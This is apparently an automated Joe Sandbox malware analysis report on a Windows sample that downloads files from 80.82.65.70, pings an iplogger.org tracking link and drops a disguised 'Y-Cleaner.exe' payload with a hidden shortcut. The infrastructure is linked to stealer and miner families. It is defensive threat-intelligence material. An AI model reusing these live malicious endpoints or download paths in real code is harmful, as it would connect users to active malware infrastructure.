http://80.82.65.70/files/downloadV	file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadvy$	file.exe, 00000000.00000002.2665430518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download0/files/download	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp=Ee	file.exe, 00000000.00000002.2667518035.0000000005460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadeep-Al	file.exe, 00000000.00000003.2152414273.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadA	file.exe, 00000000.00000003.2348586840.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278951429.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177695889.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313770429.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253670934.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228425864.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127385618.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152495724.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202839902.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101913818.000000000546D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574319
Start date and time:	2024-12-13 08:34:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 4.175.87.197, 13.107.246.63, 20.12.23.50, 20.190.177.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:35:53	API Interceptor	485821x Sleep call for process: file.exe modified
02:36:56	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	6gnaXMdquM.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	rJB2nbYcHj.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	tWAHWXyUW3.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	6gnaXMdquM.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	GElFwKwcjS.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	rJB2nbYcHj.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	tWAHWXyUW3.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	GElFwKwcjS.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/name
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INT-NETWORKSC	6gnaXMdquM.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	rJB2nbYcHj.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	tWAHWXyUW3.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	6gnaXMdquM.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	GElFwKwcjS.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	rJB2nbYcHj.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	tWAHWXyUW3.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	GElFwKwcjS.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_c05b36dd-8b5d-4457-8f5d-16c063c05959\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9700866335146597
Encrypted:	false
SSDEEP:	192:Vu9mX+vvZPiA0u1mqI3judvszuiFJiZ24IO8TVBV:Axou1m5jPzuiFJiY4IO8X
MD5:	E83898C8E458EC9E8E993239517C9979
SHA1:	304B023B3064B90437FF3ED57CFB0512ACF1B893
SHA-256:	02BFE5D58A55A40D8F5AE085E537C827FBBC7544F1CD437E597406C70E8CCDC9
SHA-512:	655B69AF385D1193D27A0CAD0F8B0A39F6A6FDFACCB1171B751461FE507EBC85A648006DB362302DC255C22F0EDB2B76E91451B337340F09E2C72D2A3A8DAB28
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.4.8.9.9.5.9.0.0.4.9.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.4.8.9.9.6.6.8.1.7.5.8.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.0.5.b.3.6.d.d.-.8.b.5.d.-.4.4.5.7.-.8.f.5.d.-.1.6.c.0.6.3.c.0.5.9.5.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.a.b.2.5.7.c.c.-.d.f.5.9.-.4.d.a.2.-.a.d.d.f.-.a.1.5.7.b.c.c.d.a.e.5.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.9.c.-.0.0.0.1.-.0.0.1.4.-.d.4.4.7.-.7.e.9.1.3.1.4.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.6.a.b.b.6.1.1.2.d.7.b.c.e.e.3.f.5.c.a.9.8.3.7.a.d.3.f.0.a.0.0.1.6.2.6.7.f.c.6.3.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER55DA.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 13 07:36:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46364
Entropy (8bit):	2.5496104297496887
Encrypted:	false
SSDEEP:	384:nyOrqUX5jht16YfGr/RVEw2NkOiOogbTS/L/ziXkf4/:ystJjD1nfGTRVEdEg/SLGb
MD5:	40B938D311E006E481A64FD10A1654BB
SHA1:	9CDCE774157C676D4F047E01A28432138F39E85F
SHA-256:	5EFC3B18CF1DDF93730615B0E8C35748C240CF3F59CDCAF74F399453A35BB322
SHA-512:	11D31648F834B75E0C2E442AA2E2B3040854B8B02019C34CAE07E576D3AD8B3AEB8A8ED5DC5B95FB8CD27491FBE3E4918955EC2A163C26A65B8988DB60521002
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........[g............4...........8...<.......t....,..........T.......8...........T...........(B...r..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.............[g....!........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5704.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8298
Entropy (8bit):	3.695362519892794
Encrypted:	false
SSDEEP:	192:R6l7wVeJV4CU6E6Y9WSUUCgmfBGW6pD+89bIRisfc4m:R6lXJVc6E6YMSURgmfZgIRhfC
MD5:	BCDEDB04A3BB0DD20D38F131381C8B1E
SHA1:	A224A6BBC66DCCE9A8BC76201E593ADC3BB2B703
SHA-256:	52134921C2EB3AA9A622F61CA52DD39227E68421A0CDBC8E55D3B6A98F5AA738
SHA-512:	795117A0086E385778F462FB4BFBF5CA7681CA3230277E6892F2D7FE4C6C9FA34B164A0B48250DAD028E4D6FE514CA2BC9FE465E8E7A3B01E7EAC2A44F4AA40E
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER582E.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.428840149865463
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9NiWpW8VY5Ym8M4JBRFme+q82Vk1Z+wd:uIjf8I7nj7VdJoe1g+wd
MD5:	E32310D077F2A8F803EB46C5B66D4540
SHA1:	994C2F8232EE22C0C07906CBAE8EFA43917D7D6E
SHA-256:	E7EAEF9AE47101D3E59A0C538F11BEB4891C68B73BBC84BA5D892F19E4D2DE48
SHA-512:	8D99986C133CBD09B00BD1995FCF71EE1FFF0AFE5C558A4FD7EE24B911B0F192C3B618282659FCD5C3D41B2342AA09853ECD0678C43A04A833971B285A09DABE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="629199" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 13 06:36:34 2024, mtime=Fri Dec 13 06:36:34 2024, atime=Fri Dec 13 06:36:34 2024, length=1502720, window=hide
